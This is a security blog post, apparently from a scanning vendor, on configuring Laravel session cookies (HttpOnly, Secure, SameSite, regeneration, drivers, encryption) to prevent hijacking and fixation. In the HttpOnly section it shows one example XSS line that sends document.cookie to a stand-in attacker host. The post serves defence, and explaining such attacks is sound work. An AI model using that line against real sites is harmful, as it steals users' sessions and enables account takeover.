Security 10 min read Markdown

Laravel Session Security: HttpOnly, SameSite, and Secure Cookies

Your session configuration is probably insecure by default. Learn how to configure HttpOnly, SameSite, Secure flags, session expiration, and driver selection to prevent hijacking and fixation.

Matt King
Matt King
June 2, 2026
Last updated: June 2, 2026
Laravel Session Security: HttpOnly, SameSite, and Secure Cookies

Sessions are the backbone of authentication in Laravel. After a user logs in, every subsequent request is identified by a session cookie. If that cookie is misconfigured, an attacker does not need to steal a password. They steal the session instead, and to the server, they look exactly like the legitimate user.

The uncomfortable reality is that Laravel's default session configuration is not production-ready out of the box. It ships with sensible defaults for local development, but several security-critical flags are disabled by default to avoid breaking developer workflows.


Why Session Security Matters

When a user authenticates, Laravel generates a unique session ID stored in a cookie named laravel_session (by default). This mechanism has three common failure modes:

Session hijacking. An attacker obtains a valid session ID through XSS, network interception, or reading cookies from JavaScript.

Session fixation. An attacker plants a known session ID in the victim's browser before they log in. If the app does not rotate the ID on login, the attacker's pre-planted ID becomes authenticated.

Session data theft. If session data is stored in plain text on a shared server, another tenant can read it directly.

All three are preventable with correct configuration.


The Session Config File

Laravel's session configuration lives in config/session.php:

return [
    'driver'          => env('SESSION_DRIVER', 'file'),
    'lifetime'        => env('SESSION_LIFETIME', 120),
    'expire_on_close' => env('SESSION_EXPIRE_ON_CLOSE', false),
    'encrypt'         => env('SESSION_ENCRYPT', false),
    'cookie'          => env('SESSION_COOKIE', 'laravel_session'),
    'path'            => env('SESSION_PATH', '/'),
    'domain'          => env('SESSION_DOMAIN'),
    'secure'          => env('SESSION_SECURE_COOKIE', false),
    'http_only'       => env('SESSION_HTTP_ONLY', true),
    'same_site'       => env('SESSION_SAME_SITE', 'lax'),
];

HttpOnly Flag

When http_only is true, the browser refuses to expose the cookie to document.cookie or any JavaScript API.

Why it matters. If an attacker finds XSS, the first thing they try is:

fetch('https://evil.com/steal?c=' + document.cookie);

With HttpOnly enabled, the session cookie simply does not appear in document.cookie.

SESSION_HTTP_ONLY=true

Laravel defaults this to true. Verify your deployment has not overridden it.


Secure Flag

Forces the browser to send the session cookie only over HTTPS connections.

SESSION_SECURE_COOKIE=true

Without this flag, your session cookie is visible in plain text to anyone intercepting network traffic. In production, every Laravel application should serve exclusively over HTTPS. The Secure flag enforces this at the cookie level.

Do not set this to true in local development unless you have a local HTTPS setup.


SameSite Attribute

Controls when the browser sends the session cookie with cross-site requests.

Lax (recommended)

Sent on same-site requests and top-level cross-site navigations (clicking a link). Not sent on cross-site sub-requests: images, iframes, form POSTs from external origins.

SESSION_SAME_SITE=lax

Strict

Never sent on any cross-site request. Breaks OAuth callbacks, magic link logins, and "open in app" flows.

None

Sent on all requests. Requires the Secure flag. Disables SameSite protection entirely. Only use for intentional cross-origin iframe scenarios.


Session Expiration and Rotation

Lifetime

SESSION_LIFETIME=120

120 minutes of inactivity is a reasonable default. Reduce for sensitive applications (banking, admin panels).

Session Regeneration

Rotate the session ID immediately after successful login to prevent fixation:

if (Auth::attempt($credentials)) {
    $request->session()->regenerate();
    return redirect()->intended(route('dashboard'));
}

On logout, invalidate completely:

Auth::logout();
$request->session()->invalidate();
$request->session()->regenerateToken();

Session Driver Selection

Driver Security Performance Notes
Redis High Excellent Preferred for production. Fast, supports atomic operations, easy revocation.
Database High Good Queryable, easy revocation. Slightly slower than Redis.
File Medium Good Single-server only. Depends on file permissions.
Cookie Low N/A Stores data in browser. No server-side revocation. Avoid in production.

Recommendation: Redis or database. Never cookie in production.


Session Encryption

SESSION_ENCRYPT=true

When enabled, session data is encrypted with your APP_KEY before being written to storage. Enable when:

  • Running on shared hosting
  • Compliance requirements mandate encryption at rest (PCI DSS, HIPAA)
  • Storing sensitive data in the session (avoid this, but encrypt if you must)

Production Configuration

SESSION_DRIVER=redis
SESSION_LIFETIME=120
SESSION_EXPIRE_ON_CLOSE=false
SESSION_ENCRYPT=false
SESSION_SECURE_COOKIE=true
SESSION_HTTP_ONLY=true
SESSION_SAME_SITE=lax
SESSION_DOMAIN=yourapp.com

Testing Your Session Security

Browser DevTools

Open the Application tab, expand Cookies, find laravel_session. Verify: HttpOnly checkmark, Secure checkmark, SameSite shows Lax.

curl

curl -I https://yourapp.com/login

Look for:

Set-Cookie: laravel_session=abc123...; Path=/; HttpOnly; Secure; SameSite=Lax

Automated Scanning

StackShield continuously monitors your session cookie configuration and flags missing security attributes on every scan.

Run a free StackShield scan to see your current session security posture.


Summary

Session security comes down to five concrete actions:

  1. Set SESSION_SECURE_COOKIE=true in production
  2. Verify SESSION_HTTP_ONLY=true is not overridden
  3. Keep SESSION_SAME_SITE=lax
  4. Switch SESSION_DRIVER to redis or database
  5. Call $request->session()->regenerate() after every successful login

None of these require architectural work. They are configuration values that take five minutes to set.

Free security check

Is your Laravel app exposed right now?

34% of Laravel apps we scan have at least one critical issue. Most teams don't find out until something breaks. Our free scan checks your live application in under 60 seconds.

18% have debug mode on
72% missing security headers
12% have exposed .env
Scan My App Free No signup required. Results in 60 seconds.

Frequently Asked Questions

What is the most secure session driver for Laravel?

Redis and database are the two most secure session drivers for production Laravel applications. Both store session data server-side, support atomic operations, and allow you to invalidate sessions by deleting the record. The cookie driver should be avoided in production because it stores session data in the browser.

Should I set SameSite to Strict or Lax?

Lax is the right default for most Laravel applications. It blocks CSRF from cross-site form submissions while still allowing users to arrive from external links with their session intact. Strict breaks OAuth flows, magic link logins, and any authentication journey that starts on a third-party page.

How do I prevent session fixation in Laravel?

Call $request->session()->regenerate() immediately after a successful login. This assigns a new session ID to the authenticated session, invalidating any session ID the attacker may have planted before login. Laravel Fortify and Breeze handle this automatically.

Does Laravel encrypt session data by default?

No. The encrypt option in config/session.php defaults to false. The session cookie itself only contains the session ID, not the data. The actual session data in your database or Redis is stored in plain text unless you explicitly set encrypt to true.

How do I test if my session cookies are secure?

Open your browser DevTools, go to the Application tab, expand Cookies, and check the HttpOnly, Secure, and SameSite columns for your session cookie. You can also use curl -I to inspect Set-Cookie headers. StackShield automates this check on every scan.

Stay Updated on Laravel Security

Get actionable security tips, vulnerability alerts, and best practices for Laravel apps.